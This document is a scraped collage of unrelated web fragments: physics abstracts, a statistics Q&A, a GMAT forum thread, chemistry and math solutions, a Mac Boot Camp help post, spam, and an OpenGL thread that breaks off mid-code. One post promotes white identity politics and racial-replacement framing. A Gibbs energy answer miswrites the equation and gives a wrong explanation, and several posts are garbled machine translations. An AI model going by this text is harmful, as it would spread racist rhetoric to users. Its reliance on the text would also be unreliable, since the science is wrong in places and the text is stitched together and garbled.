It is shown that dimension five non-renormalizable interactions can produce light Dirac neutrinos in an extension of the minimal SU(5) GUT containing additional SU(5) singlets and global U(1) symmetries.
• LEP constraints on grand unified theories
Recent developments on grand unified theories (GUTs) in the context of the LEP measurements of the coupling constants will be reviewed. The three coupling constants at the electroweak scale have been measured at LEP quite precisely. One can allow these couplings to evolve with energy following the renormalization group equations for the various groups and find out whether all the coupling constants meet at any energy. It was pointed out that the minimalSU (5) grand unified theory fails to satisfy this test. However, various extensions of the theory are still allowed. These extensions include (i) supersymmetricSU (5) GUT, with some arbitrariness in the susy breaking scale arising from the threshold corrections, (ii) non-susySU (5) GUTs with additional fermions as well as Higgs multiplets, which has masses of the order of TeV, and (iii) non-renormalizable effect of gravity with a fine tuned relation among the coupling constants at the unification energy. The LEP results also constrain GUTs with an intermediate symmetry breaking scale. By adjusting the intermediate symmetry breaking scale, one usually can have unification, but these theories get constrained. For example, the left-right symmetric theories coming from GUTs can be broken only at energies higher than about ∼ 1010GeV. This implies that if right handed gauge bosons are found at energies lower than this scale, then that will rule out the possibility of grand unification. Another recent interesting development on the subject, namely, low energy unification, will be discussed in this context. All the coupling constants are unified at energies of the order of ∼ 108GeV when they are embedded in anSU (15) GUT, with some particular symmetry breaking pattern. But even in this case the results of the intermediate symmetry breaking scale remain unchanged.
• Models of neutrino masses and baryogenesis
Majorana masses of the neutrino implies lepton number violation and is intimately related to the lepton asymmetry of the universe, which gets related to the baryon asymmetry of the universe in the presence of the sphalerons during the electroweak phase transition. Assuming that the baryon asymmetry of the universe is generated before the electroweak phase transition, it is possible to discriminate different classes of models of neutrino masses. While see-saw mechanism and the triplet Higgs mechanism are preferred, the Zee-type radiative models and the R-parity breaking models requires additional inputs to generate baryon asymmetry of the universe during the electroweak phase transition.
• Theoretical investigation of magnesium compositional variation of structural and optoelectronic properties of wurtzite Mg$_x$Zn$_{1−x}$Se ternary alloys through first-principle calculations
First-principle calculations are carried out to explore magnesium composition-dependent structural and optoelectronic features of wurtzite Mg$_x$Zn$_{1−x}$Se ternary alloys. Analyses show a nearly linear enhancement in lattice constants (a0, c0) but a reasonably nonlinear reduction in bulkmodulus (B0)with increasingMg composition. Successive incorporation of Mg atom(s) in place of Zn in the w-ZnSe crystal results in three direct-band gap ($\Gamma–\Gamma$) semiconductor ternary alloys. The fundamental band gap shows fairly nonlinear enhancement with increasing Mgcomposition. Each of the considered wurtzite specimens is optically anisotropic. The computed components of the refractive index give uniaxial birefringence. Peaks in the dielectric function spectrum of all the specimens in the ultraviolet (UV) region are contributed exclusively or collectively by Se-4p to Mg-4s, 3p and Zn-5s, 4p electronic excitations. With the enhancement in the fundamental band gap, static optical constants ε1(0), n(0) and R(0) of the specimens reduce, while critical point energy in their ε2(ω), k(ω), σ(ω), α(ω) spectra enhances.
• # Pramana – Journal of Physics
Volume 96, 2022
All articles
Continuous Article Publishing mode
• # Editorial Note on Continuous Article Publication
Posted on July 25, 2019
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# How to find a confidence interval for a Maximum Likelihood Estimate
My cousin is at elementary school and every week is given a book by his teacher. He then reads it and returns it in time to get another one the next week. After a while we started noticing that he was getting books he had read before and this became gradually more common over time. Naturally, I started to wonder how one could estimate the total number of books in their library.
Say the true number of books in the library is $N$ and the teacher picks one uniformly at random (with replacement) to give to you each week. If at week $t$ you have received a book you have read before on $x$ occasions, then I can produce a maximum likelihood estimate for the number of books in the library following How many books are in a library? .
Clarification. If the books he receives are named $A,B,C,B, A, D$ then $x$ will be $0,0,0,1,2,2$ at successive weeks.
However, is there a mathematical formula as a function of $t$ and $x$ which will give me a 95% confidence interval for this estimate?
-
How about the number of students? That should be important too, because if there are more students more books are checked out. – Alt Feb 5 '14 at 22:16
Well yes but let's assume only my cousin gets books for the moment. I still don't know how to solve that simplified version. – Anush Feb 5 '14 at 22:26
I'll use the framework of the library book problem. Let $K$ be the total sample size, $N$ be the number of different items observed, $N_1$ be the number of items seen once, $N_2$ be the number of items seen twice, $A=N_1(1-{N_1 \over K})+2N_2,$ and $\hat Q = {N_1 \over K}.$
Then an approximate 95% confidence interval on the total population size $M$ is given by
$$\hat M_{Lower}={1 \over {1-\hat Q+{1.96 \sqrt{A} \over K} }}$$
$$\hat M_{Upper}={1 \over {1-\hat Q-{1.96 \sqrt{A} \over K} }}$$
As noted in the discussion of the library problem, at times the upper bound will be infinite, especially for small samples. Similarly, the lower bound may need to be capped at zero.
This approach is due to Good and Turing. A reference with the confidence interval is Esty, The Annals of Statistics, 1983.
-
Yes and no. An EXACT confidence interval would be best approximated via simulation. However, you can get an approximate 95% CI using Wilks likelihodd ratio statistic on the sample likelihood function. This assumes that the likelihood function value of the true value (normalized so that the maximum value is 1) follows a chi-square distribution, so you can get a specified value of the likelihood to use as as cutoff.
-
I would be happy with something approximate. How exactly can I do this for my problem? – Anush Jan 30 '14 at 8:52
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Toys4Them, an online toy merchant, generated $220 million in [#permalink] ### Show Tags 16 Jan 2013, 14:21 1 This post received KUDOS 2 This post was BOOKMARKED 00:00 Difficulty: 45% (medium) Question Stats: 64% (02:38) correct 36% (01:24) wrong based on 367 sessions ### HideShow timer Statistics Toys4Them, an online toy merchant, generated$220 million in revenue last year, an 8.6 percent increase over the previous year. However, the number of toys sold did not increase significantly last year over the previous year.
Each of the following, if true, could explain the apparent discrepancy EXCEPT:
a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys.
b)Toys4Them sold a higher proportion of more expensive toys last year than the previous year.
c)Last year, the number of consumers shopping for toys increased over the previous year.
d)Last year, Toys4Them experienced an unprecedented boom in its divisions that do not sell toys.
e)Because of an economic downturn, Toys4Them heavily discounted its toys during the holiday season two years ago.
IMO , except C & E , all other options clearly resolve the discrepancy.
OA is C not E. However I could nt be able to figure out , how does option E resolve the discrepancy .
So help me to figure out the same ...
[Reveal] Spoiler: OA
If you have any questions
New!
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### Show Tags
16 Jan 2013, 16:40
@carcass :Thanks for ur reply ,
I had no doubt abt option "C" , but I was more confused with option "E".
After reading ur reply , One more things , I figured out i.e. Discounted offer on toys may not be present => so it may be that toys are currently sold on its selling price => it may result in higher revenue , even though the number of toys sold did not increase significantly last year over the previous year=> hence it resolves the paradox .
thanks
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### Show Tags
17 Jan 2013, 13:20
MOKSH wrote:
Toys4Them, an online toy merchant, generated $220 million in revenue last year, an 8.6 percent increase over the previous year. However, the number of toys sold did not increase significantly last year over the previous year. Each of the following, if true, could explain the apparent discrepancy EXCEPT: a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys. b)Toys4Them sold a higher proportion of more expensive toys last year than the previous year. c)Last year, the number of consumers shopping for toys increased over the previous year. d)Last year, Toys4Them experienced an unprecedented boom in its divisions that do not sell toys. e)Because of an economic downturn, Toys4Them heavily discounted its toys during the holiday season two years ago. IMO , except C & E , all other options clearly resolve the discrepancy. OA is C not E. However I could nt be able to figure out , how does option E resolve the discrepancy . So help me to figure out the same ... Thanks in advance . oh well,i think the best thing is to understand the question stem,the stimulus,and the answer choices themselves..check this one out.the arguement presented to answer makes a comparison of sales made last with a previous year under certain conditions(unstated assumptions)which brought in a difference in revenue collected..now the question stem asks to provide an option that does not explain the discrepancy in the arguement..the discrepancy they are talking about it the more revenue thing when less toys are sold out..all options except C explain that descrepancy..C is contradictory to the statement(the number of toys sold did not increase significantly last year over the previous year.)in a way that it says that consumers increased in number inferring that they bought more of the toys from that shop..hence C is the answer to the question. Posted from my mobile device Intern Joined: 17 Jan 2013 Posts: 7 Followers: 0 Kudos [?]: -25 [3] , given: 1 Re: Toys4Them, an online toy merchant, generated$220 million in [#permalink]
### Show Tags
17 Jan 2013, 13:55
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For Paradox questions the correct answer will actively resolve the paradox, that is, it will allow both sides to be factually correct and it will either explain how the situation came into being or add a piece of information that shows how the two ideas or occurrences can coexist.
Because you are not seeking to disprove one side of the situation, you must select the answer choice that contains a possible cause of the situation. So, when examining answers, ask yourself if the answer choice could lead to the situation in the stimulus. If so, the answer is correct.
If an answer supports or proves only one side of the paradox, that answer will be incorrect. The correct answer must show how both sides
coexist.
The following types of answers are incorrect:
1. Explains only one side of the paradox If an answer supports or proves only one side of the paradox, that answer will be incorrect. The correct answer must show how both sides coexist.
2. Similarities and differences If the stimulus contains a paradox where two items are similar, then an answer choice that explains a difference between the two cannot be correct.
Conversely, if the stimulus contains a paradox where two items are different, then an answer choice that explains why the two are similar
cannot be correct. In short, a similarity cannot explain a difference, and a difference cannot explain a similarity.
Toys4Them, an online toy merchant, generated $220 million in revenue last year, an 8.6 percent increase over the previous year. However, the number of toys sold did not increase significantly last year over the previous year. Each of the following, if true, could explain the apparent discrepancy EXCEPT: There are no conclusion in paradox questions, so all we got are facts. Examine the facts very closely. toys4Them, an online toy merchant, generated$220 million in revenue last year, an 8.6 percent increase over the previous year
It tells about the revenue last year $220 million, an 8.6 percent increase over the previous year. Does not tell anything about operating cost or profit. However, the number of toys sold did not increase significantly last year over the previous year. a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys.-- Fair enough, if previously they were counting charity toys as sold and accounting for its sale, then changing that policy will increase there revenues and will actively resolve the paradox. b)Toys4Them sold a higher proportion of more expensive toys last year than the previous year. --- This resolves the paradox if last year they hold more expensive toys than previous year, the increase revenue could be explained given the fact the total number of toys sold did not increased. c)Last year, the number of consumers shopping for toys increased over the previous year. --- hmnnn. Classic example of what i mentioned above.If an answer supports or proves only one side of the paradox, that answer will be incorrect. The correct answer must show how both sides coexist. This only explains what may have caused the increase in revenue but does not address the fact that number of toys sold did not increased significantly. Correct Answer d)Last year, Toys4Them experienced an unprecedented boom in its divisions that do not sell toys. --- This again holds both side of the conversation. If this is true then the increased revenue could be from this division and not from the sale of the toys. e)Because of an economic downturn, Toys4Them heavily discounted its toys during the holiday season two years ago--- This hold both side of the conversation. More revenue generated but not significant increase in the number of toys sold. So this indeed resolve the paradox. Take Away: Resolve the paradox only gives you facts and facts are indisputable. So any answer choice that validate one of the facts but invalidate another one is always going to be wrong. Right answer should explain you how this situation came into existence. Intern Joined: 17 Jan 2013 Posts: 1 Followers: 0 Kudos [?]: 0 [0], given: 0 Re: Toys4Them, an online toy merchant, generated$220 million in [#permalink]
### Show Tags
17 Jan 2013, 14:28
Great explanation Kingston. This surely helps.
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17 Jan 2013, 19:29
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@chiccufrazer1: Firstly, assumptions are always unstated. If they state the assumption, then i guess it would no longer be an assumption. Secondly. in paradox question you dont want to qualify one or the other statement. They are facts and they are indisputable.
When first presented with a Resolve question, most student seek an answer choice that destroys or disproves one side of the situation. They follow the reasoning that if one side can be proven false, then the paradox will be eliminated. While this is true, the test makers know that such an answer would be obvious (it would simply contradict part of the facts given in the stimulus) and thus this type of answer does not appear in these questions. Instead, the correct answer will actively resolve the paradox, that is, it will allow both sides
to be factually correct and it will either explain how the situation came into being or add a piece of information that shows how the two ideas or occurrences can coexist. Because you are not seeking to disprove one side of the situation, you must
select the answer choice that contains a possible cause of the situation. So, when examining answers, ask yourself if the answer choice could lead to the situation in the stimulus. If so, the answer is correct.
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### Show Tags
03 Sep 2013, 00:14
ygdrasil24 wrote:
Looks pretty straightforward to me.
Sales has gone down, and revenue gone up.
Possibilties ?
A. Direct increase in price (option B)
B. Previously selling at lower price( option E)
C. Any other factor that had increased revenue, not related to sales(option D)
D. Not counting few non billed items - no effect ( A)
Left is C, # of consumers has no bearing on # of toys they are buying.
Sales have not gone down, they have remained same or slightly increased. But you are correct in saying that the increase in the number of consumers buying the toys does not impact the actual sales of those toys. For example a consumer earlier could be buying 2 toys on an average, whereas the new average maybe lower let' say 1.5. So even though the consumers might have increased, they might not impact the overall sales.
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Re: Toys4Them, an online toy merchant, generated $220 million in [#permalink] ### Show Tags 03 Sep 2013, 23:33 MOKSH wrote: Toys4Them, an online toy merchant, generated$220 million in revenue last year, an 8.6 percent increase over the previous year. However, the number of toys sold did not increase significantly last year over the previous year.
Each of the following, if true, could explain the apparent discrepancy EXCEPT:
a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys.
b)Toys4Them sold a higher proportion of more expensive toys last year than the previous year.
c)Last year, the number of consumers shopping for toys increased over the previous year.
d)Last year, Toys4Them experienced an unprecedented boom in its divisions that do not sell toys.
e)Because of an economic downturn, Toys4Them heavily discounted its toys during the holiday season two years ago.
Question: which answer does not explain why revenue increased while toys sold stayed roughly the same?
(A) changed accounting methods --> artificially increased revenue
(b) more expensive toys were sold than cheap toys, total is still same --> increased revenue
(c) more consumers bought toys --> increased toys sold --> conflicts with what paragraph explicitly says --> this is unhelpful and thus the answer
(d) another department did well --> increased revenue
(e) economic downturn two years ago --> sold their toys less two years ago --> this year, prices were back to normal --> increased revenue
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### Show Tags
30 Sep 2016, 06:45
MOKSH wrote:
Toys4Them, an online toy merchant, generated $220 million in revenue last year, an 8.6 percent increase over the previous year. However, the number of toys sold did not increase significantly last year over the previous year. Each of the following, if true, could explain the apparent discrepancy EXCEPT: a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys. b)Toys4Them sold a higher proportion of more expensive toys last year than the previous year. c)Last year, the number of consumers shopping for toys increased over the previous year. d)Last year, Toys4Them experienced an unprecedented boom in its divisions that do not sell toys. e)Because of an economic downturn, Toys4Them heavily discounted its toys during the holiday season two years ago. C for me. any other answer helps to explain the discrepancy. Intern Joined: 27 Jun 2015 Posts: 28 Followers: 0 Kudos [?]: 1 [0], given: 24 Re: Toys4Them, an online toy merchant, generated$220 million in [#permalink]
### Show Tags
30 Sep 2016, 22:47
I agree with C). Nevertheless I have a question how to eliminate A)
"a)Last year, Toys4Them changed its accounting policy to no longer count toys given away to charities as sold toys."
If the company does not account the toys given away to charities as sold toys then the revenue should be lower and not greater or?
Example:
Year 2000: Revenue = 220 Mio (including 10 Mio for toys given away to charities)
Year 2001: Revenue = 210 (new accounting approach without the 10 Mio )
Can me someone explain how this argument helps to clarify that the revenue increased?
Thank you!
Kind regards.
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01 Oct 2016, 09:23
Got it, thank you sayantanc2k.
I only thought about the decrease in revenue because of the changed approach (not counting donated toys) and did not consider anymore that the question states that the revenue increased.
Thank you
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Re: Toys4Them, an online toy merchant, generated $220 million in [#permalink] ### Show Tags 01 Oct 2016, 10:44 MOKSH wrote: carcass :Thanks for ur reply , I had no doubt abt option "C" , but I was more confused with option "E". After reading ur reply , One more things , I figured out i.e. Discounted offer on toys may not be present => so it may be that toys are currently sold on its selling price => it may result in higher revenue , even though the number of toys sold did not increase significantly last year over the previous year=> hence it resolves the paradox . thanks that was my reasoning as well, hence I eliminated e and chose c. And everyone else makes valid points as well but I definitely thought like you for option "e." Re: Toys4Them, an online toy merchant, generated$220 million in [#permalink] 01 Oct 2016, 10:44
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# Question 14b39
Nov 3, 2015
$\text{7.124 g}$
#### Explanation:
The idea here is that you need to use the mole ratio that exists between the reactants and the masses given to you to determine whether or not you're dealing with a limiting reagent.
So, the balanced chemical equation for this reaction looks like this
${\text{P"_text(4(s]) + color(red)(6)"Cl"_text(2(g]) -> 4"PCl}}_{\textrm{3 \left(l\right]}}$
Notice the $1 : \textcolor{red}{6}$ moel ratio that exists between phosphorus and chlorine. This tells you that the reaction will always consume $\textcolor{red}{6}$ times more moles of chlorine than of phosphorus.
Use the molar masses of the two reactants to find how many moles of each you have
45.25color(red)(cancel(color(black)("g"))) * "1 mole P"_4/(123.90color(red)(cancel(color(black)("g")))) = "0.3652 moles P"_4
and
130.9color(red)(cancel(color(black)("g"))) * "1 mole Cl"_2/(70.906 color(red)(cancel(color(black)("g")))) = "1.846 moles Cl"_2
So, do you have enough moles of chlorine gas to allow all the moles of phosphorus to react?
0.3652color(red)(cancel(color(black)("moles P"_4))) * (color(red)(6)" moles Cl"_2)/(1color(red)(cancel(color(black)("mole P"_4)))) = "2.191 moles Cl"_2
Notice that you ahve fewer moles of chlorine than you would have needed to make sure that all the moles of phosphorus react. This means that chlorine gas will be a limiting reagent.
More specifically, only
1.846color(red)(cancel(color(black)("moles Cl"_2))) * "1 mole P"_4/(color(red)(6)color(red)(cancel(color(black)("moles Cl"_2)))) = "0.3077 moles P"_4
will take part in the rection, the rest will be in excess.
This means that you will be left with
${n}_{\text{excess" = 0.3652 - 0.3077 = "0.05750 moles P}} _ 4$
The mass of phosphorus that contains this many moles is
0.05750color(red)(cancel(color(black)("moles"))) * "123.90 g"/(1color(red)(cancel(color(black)("mole")))) = color(green)("7.124 g P"_4)#
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## finder – Clarify previous post by David Anderson and Steve Chambers Request
To: Steve Chambers and David Anderson,
Here is the process I used which led me to step 6. Everything worked perfectly. I restarted my Mac Mini and held down the option key. Mac HD and EFI HD appeared. I clicked on the EFI. The Windows logo or badge (the little boxes) appeared and it looked like everything was fine for about a minute, then the screen went black. The Mac Mini remains on but the screen is blank. When I talked about "Finder Ways", what I meant and should have said was the new process that David proposed to work around the need for a flash drive and load the Windows support folder and ISO Windows in the 16 GB partition, inside the Winstall volume.
(((Download the latest Windows 10 ISO file from Microsoft's website Download Windows 10 disk image (ISO file). Currently, this would be update 1909 (September 2019) .
When finished, exit the Boot Camp wizard.
Connect the external player. Open the Disk Utility application. In the drop-down menu in the upper left corner of the Disk Utility application, make sure that Hide sidebar is not checked and Show all devices is checked, as shown below.
Highlight the external drive and select the Erase button. Enter the following information in the pop-up window, then click the Clear button.
When erasing is complete, click the Done button. With the external drive still highlighted, click the Partition button. Make the following changes in the order shown below.
Note: The size entered below must be large enough to create a volume that can contain Windows ISO and Windows Support Software files. The value of 16 GB should provide more than enough space. However, a smaller value can be replaced.
Click on the + button.
Enter a size of 16 GB.
Enter the name WINSTALL.
Select the ExFAT format.
The result should appear as shown below.
Click the Apply, Partition and Done buttons in the given order. When finished, exit the disk utility.
Using the Finder application, mount the Windows 10 ISO file and copy the content to the WINSTALL volume. Then copy the contents of the WindowsSupport folder to the WINSTALL volume. In your case, the result should appear as shown below.
Restart the Mac and immediately hold down the option key until the boot manager icons appear. Boot from the external drive by selecting the external drive icon labeled EFI Boot.
When a window similar to the one below appears, press the Shift key + F10 c)))
I really appreciate the opportunity to converse with all of you.
Thank you for everything you do!
Regards,
Andrew Wilis
## Is Anderson Cooper from CNN anti-white?
Disgusting, is not it?
It is now fashionable to openly celebrate the decline of a particular breed in the country.
When the Democrats passed the Cellar Act of 1965, they assured the Senate that the law would not change the ethnic makeup of the country. But now, they say it's a good thing.
If this is the policy of the Democrats, why can not whites organize and start playing a white identity policy and taking care of our racial interests?
Anderson Cooper could be white. They are elites who live in 97% of neighborhoods with white lilies. They do not know the non-white neighborhoods.
They do virtue by reporting to MSM for money.
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## gqysafokwt
BlackHatKings: General Discussion on PPC
Posted by: MizspesE
Time of the message: July 2, 2019 at 05:05.
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BlackHatKings: General Discussion on PPC
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Post time: June 26, 2019 at 12:57.
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## Why does CNN's Anderson Cooper calling NAZI think it will make me change my Republican vote to Democrat?
He does not think that.
He does not ask the Nazis to change the Nazi votes. He points out the Nazis thinking that normal people will realize that they are in bed with the Nazis.
The world does not revolve around you. Nobody cares about how you feel and Anderson Cooper just shows shit in the punch bowl.
.
## [ Celebrities ] Open question: What nationality is Gillian Anderson?
I would have said american
Yet, her British accent is excellent, she made a television adaptation of Dickens' Bleak House in 2005 and an interview to promote it. His British accent is probably better than mine and I have been living in Britain for 30 years.
How come she has such a good British accent? .
## Reference Request – Location of Anderson for Fractional Laplacians
There is a vast literature on Anderson's location, namely the study of the disintegration of the operators' own functions. $$l ^ 2 ( mathbb {Z} ^ d)$$ such as
$$– Delta + lambda V$$
or $$Delta$$ is the discreet Laplacian network and the potential $$V$$ is chance given by a vector $$(V _ { mathbf {x}}) { mathbf {x} in mathbb {Z} ^ d}$$ of iid normal normal variables. The constant $$lambda$$ is the force of disorder.
Has any one studied similar random operators?
$$(- Delta) ^ { alpha} + lambda V$$
with a fractional laplacian?
I am particularly interested in the literature references in physics that provide some heuristics, for example a theory of scale to Abrahams et al.
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location: Publications → journals
Search results
Search: MSC category 13E10 ( Artinian rings and modules, finite-dimensional algebras )
Expand all Collapse all Results 1 - 4 of 4
1. CMB 2011 (vol 55 pp. 81)
Divaani-Aazar, Kamran; Hajikarimi, Alireza
Cofiniteness of Generalized Local Cohomology Modules for One-Dimensional Ideals Let $\mathfrak a$ be an ideal of a commutative Noetherian ring $R$ and $M$ and $N$ two finitely generated $R$-modules. Our main result asserts that if $\dim R/\mathfrak a\leq 1$, then all generalized local cohomology modules $H^i_{\mathfrak a}(M,N)$ are $\mathfrak a$-cofinite. Keywords:cofinite modules, generalized local cohomology modules, local cohomology modulesCategories:13D45, 13E05, 13E10
2. CMB 2011 (vol 55 pp. 153)
Mafi, Amir; Saremi, Hero
Artinianness of Certain Graded Local Cohomology Modules We show that if $R=\bigoplus_{n\in\mathbb{N}_0}R_n$ is a Noetherian homogeneous ring with local base ring $(R_0,\mathfrak{m}_0)$, irrelevant ideal $R_+$, and $M$ a finitely generated graded $R$-module, then $H_{\mathfrak{m}_0R}^j(H_{R_+}^t(M))$ is Artinian for $j=0,1$ where $t=\inf\{i\in{\mathbb{N}_0}: H_{R_+}^i(M)$ is not finitely generated $\}$. Also, we prove that if $\operatorname{cd}(R_+,M)=2$, then for each $i\in\mathbb{N}_0$, $H_{\mathfrak{m}_0R}^i(H_{R_+}^2(M))$ is Artinian if and only if $H_{\mathfrak{m}_0R}^{i+2}(H_{R_+}^1(M))$ is Artinian, where $\operatorname{cd}(R_+,M)$ is the cohomological dimension of $M$ with respect to $R_+$. This improves some results of R. Sazeedeh. Keywords:graded local cohomology, Artinian modulesCategories:13D45, 13E10
3. CMB 2011 (vol 54 pp. 619)
Artinian and Non-Artinian Local Cohomology Modules Let $M$ be a finite module over a commutative noetherian ring $R$. For ideals $\mathfrak{a}$ and $\mathfrak{b}$ of $R$, the relations between cohomological dimensions of $M$ with respect to $\mathfrak{a}, \mathfrak{b}$, $\mathfrak{a}\cap\mathfrak{b}$ and $\mathfrak{a}+ \mathfrak{b}$ are studied. When $R$ is local, it is shown that $M$ is generalized Cohen-Macaulay if there exists an ideal $\mathfrak{a}$ such that all local cohomology modules of $M$ with respect to $\mathfrak{a}$ have finite lengths. Also, when $r$ is an integer such that $0\leq r< \dim_R(M)$, any maximal element $\mathfrak{q}$ of the non-empty set of ideals $\{\mathfrak{a} : \textrm{H}_\mathfrak{a}^i(M)$ is not artinian for some $i, i\geq r \}$ is a prime ideal, and all Bass numbers of $\textrm{H}_\mathfrak{q}^i(M)$ are finite for all $i\geq r$. Keywords:local cohomology modules, cohomological dimensions, Bass numbersCategories:13D45, 13E10
Artinian Local Cohomology Modules Let $R$ be a commutative Noetherian ring, $\fa$ an ideal of $R$ and $M$ a finitely generated $R$-module. Let $t$ be a non-negative integer. It is known that if the local cohomology module $\H^i_\fa(M)$ is finitely generated for all \$i Keywords:local cohomology module, Artinian module, reflexive moduleCategories:13D45, 13E10, 13C05
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# Evaluate triple integral_B f(x, y, z) dV for the specified function f and B: f(x, y, z) = xz^2...
## Question:
Evaluate {eq}\displaystyle \iiint_\mathcal B f(x, y, z) dV {/eq} for the specified function {eq}f {/eq} and {eq}\mathcal B:\ f(x, y, z) = xz^2\ [0, 8] \times [7, 10] \times [3, 7] {/eq}
## Evaluation of Triple Integrals:
To evaluate the given integrals the first thing we nee to do is plug -in the given limits and then we can start the integration. Note the order of integration can be interchanged for instance {eq}dzdydx,dxdzdy {/eq} and etc.
Plugging-in the limits we have,
{eq}\displaystyle \displaystyle \iiint_\mathcal B f(x, y, z) dV =\int_{0}^{8}\int_{7}^{10}\int_{3}^{7}xz^{2}dzdydx {/eq}
Integrate with respect to {eq}z {/eq}
{eq}\displaystyle =\int_{0}^{8}\int_{7}^{10}\left [ \frac{1}{3}z^{3} \right ]^{7}_{3}xdydx {/eq}
{eq}\displaystyle =\int_{0}^{8}\int_{7}^{10}\left ( \frac{316}{3} \right )xdydx {/eq}
Integrate with respect to {eq}y {/eq}
{eq}\displaystyle =\int_{0}^{8}\left ( \frac{316}{3} \right )\left [ y \right ]^{10}_{7}xdx {/eq}
{eq}\displaystyle =\int_{0}^{8}316xdx {/eq}
Integrate with respect to {eq}x {/eq}
{eq}\displaystyle =316\left [ \frac{1}{2}x^{2} \right ]^{8}_{0} {/eq}
{eq}=10,112 {/eq}
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Moment of Inertia
Written by Jerry Ratzlaff on . Posted in Classical Mechanics
Moment of Inertia
Moment of inertia ( $$I$$ ) can be called rotational inertia because it measures the resists or change an object has to rotational acceleration about an axis.
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# Difference between revisions of "2009 AMC 10A Problems/Problem 1"
## Problem
One can holds $12$ ounces of soda, what is the minimum number of cans needed to provide a gallon ($128$ ounces) of soda?
$\textbf{(A)}\ 7\qquad \textbf{(B)}\ 8\qquad \textbf{(C)}\ 9\qquad \textbf{(D)}\ 10\qquad \textbf{(E)}\ 11$
## Solution 1
$10$ cans would hold $120$ ounces, but $128>120$, so $11$ cans are required. Thus, the answer is $\mathrm{\boxed{(E)}}$.
## Solution 2
We want to find $\left\lceil\frac{128}{12}\right\rceil$ because there are a whole number of cans.
$\frac{128}{12} = 10R8\longrightarrow 11\longrightarrow \fbox{(E)}.$
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# Precalculus : Graphs of Polynomial Functions
## Example Questions
2 Next →
### Example Question #3 : Write The Equation Of A Polynomial Function Based On Its Graph
Write the quadratic function for the graph:
Explanation:
Method 1:
The x-intercepts are . These values would be obtained if the original quadratic were factored, or reverse-FOILed and the factors were set equal to zero.
For , . For , . These equations determine the resulting factors and the resulting function; .
Multiplying the factors and simplifying,
.
Method 2:
Use the form , where is the vertex.
is , so , .
### Example Question #4 : Write The Equation Of A Polynomial Function Based On Its Graph
Write the equation for the polynomial in this graph:
Explanation:
The zeros for this polynomial are .
This means that the factors are equal to zero when these values are plugged in for x.
multiply both sides by 2
so one factor is
multiply both sides by 3
so one factor is
so one factor is
Multiply these three factors:
### Example Question #5 : Write The Equation Of A Polynomial Function Based On Its Graph
Write the equation for the polynomial shown in this graph:
Explanation:
The zeros of this polynomial are . This means that the factors equal zero when these values are plugged in.
One factor is
One factor is
The third factor is equivalent to . Set equal to 0 and multiply by 2:
Multiply these three factors:
The graph is negative since it goes down then up then down, so we have to switch all of the signs:
### Example Question #6 : Write The Equation Of A Polynomial Function Based On Its Graph
Write the equation for the polynomial in the graph:
Explanation:
The zeros of the polynomial are . That means that the factors equal zero when these values are plugged in.
The first factor is or equivalently multiply both sides by 5:
The second and third factors are and
Multiply:
Because the graph goes down-up-down instead of the standard up-down-up, the graph is negative, so change all of the signs:
### Example Question #7 : Write The Equation Of A Polynomial Function Based On Its Graph
Write the equation for the polynomial in this graph:
Explanation:
The zeros for this polynomial are . That means that the factors are equal to zero when these values are plugged in.
or equivalently multiply both sides by 4
the first factor is
multiply both sides by 3
the second factor is
the third factor is
Multiply the three factors:
2 Next →
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# if deltaH depends on temperature how can we define any reaction to be spontaneous or not on the basis of temperature only by gibbs energy also if any reaction is not carried out at constant pressure what value is to be put in in gibbs equation
Dear Student,
The mathematical expression for the gibbs free energy is expressed below,
$∆G=H-T∆S$
Whenever temperature increases the reaction will be exothermic as increased entropy condition favours spontaneous reaction with negative value of gibbs free energy.
In the last of statement it is given if the reaction is not considered to take part under constant pressure will result in endothermic reaction an non-spontaneous as the expanding pressure results in equilibrium temperature attainment with surroundings hence constant pressure too plays a vital role in achieving spontaneous reaction.
• -1
What are you looking for?
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# OpenGL OpenGL in 2D
This topic is 3385 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.
## Recommended Posts
I am trying to write a 2D opengl program But when i draw a triangle and then i want to use a bigger square to cover it. It doesn't work. The triangle displays in front of the square. Who can the program display the 2d objects(which have the same z-coordinate) according to the sequence of drawing in 2D? Thx
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The problem you are describing has to do with the current depth buffer settings.
Right now you might have code that sets up the depth buffer like
glEnable(GL_DEPTH_TEST);glDepthFunc(GL_LESS);glClearDepth(1.f);
If you perform depth testing, your drawing order won't matter since the objects are sorted by the depth. Instead, you should not enable depth testing so the objects are drawn in the order they are coded. Here is a complete example using SFML with OpenGL.
////////////////////////////////////////////////////////////// Headers////////////////////////////////////////////////////////////#include <SFML/Graphics.hpp>#include <iostream>#pragma comment(lib, "sfml-graphics-s-d.lib")#pragma comment(lib, "sfml-window-s-d.lib")#pragma comment(lib, "sfml-system-s-d.lib")#pragma comment(lib, "glu32.lib")// http://www.gamedev.net/community/forums/topic.asp?topic_id=104791void glEnable2D(){ int vPort[4]; glGetIntegerv(GL_VIEWPORT, vPort); glMatrixMode(GL_PROJECTION); glPushMatrix(); glLoadIdentity(); glOrtho(0, vPort[2], 0, vPort[3], -1, 1); glMatrixMode(GL_MODELVIEW); glPushMatrix(); glLoadIdentity();}// http://www.gamedev.net/community/forums/topic.asp?topic_id=104791void glDisable2D(){ glMatrixMode(GL_PROJECTION); glPopMatrix(); glMatrixMode(GL_MODELVIEW); glPopMatrix(); }/////////////////////////////////////////////////////////////// Entry point of application////// \return Application exit code///////////////////////////////////////////////////////////////int main(){ // Create main window sf::RenderWindow App(sf::VideoMode(800, 600), "SFML OpenGL"); App.PreserveOpenGLStates(true); // Enable Z-buffer read and write //glEnable(GL_DEPTH_TEST); //glDepthFunc(GL_LESS); //glClearDepth(1.f); // Start game loop while (App.IsOpened()) { // Process events sf::Event Event; while (App.GetEvent(Event)) { // Close window : exit if (Event.Type == sf::Event::Closed) App.Close(); // Escape key : exit if ((Event.Type == sf::Event::KeyPressed) && (Event.Key.Code == sf::Key::Escape)) App.Close(); // Adjust the viewport when the window is resized if (Event.Type == sf::Event::Resized) glViewport(0, 0, Event.Size.Width, Event.Size.Height); } glClear(GL_COLOR_BUFFER_BIT| GL_DEPTH_BUFFER_BIT); glLoadIdentity(); glEnable2D(); // The red triangle is drawn first at an offset so we can see // the green rectangle draws on top of it glTranslated(0, 75, 0); glBegin(GL_TRIANGLES); glColor3ub(255, 0, 0); 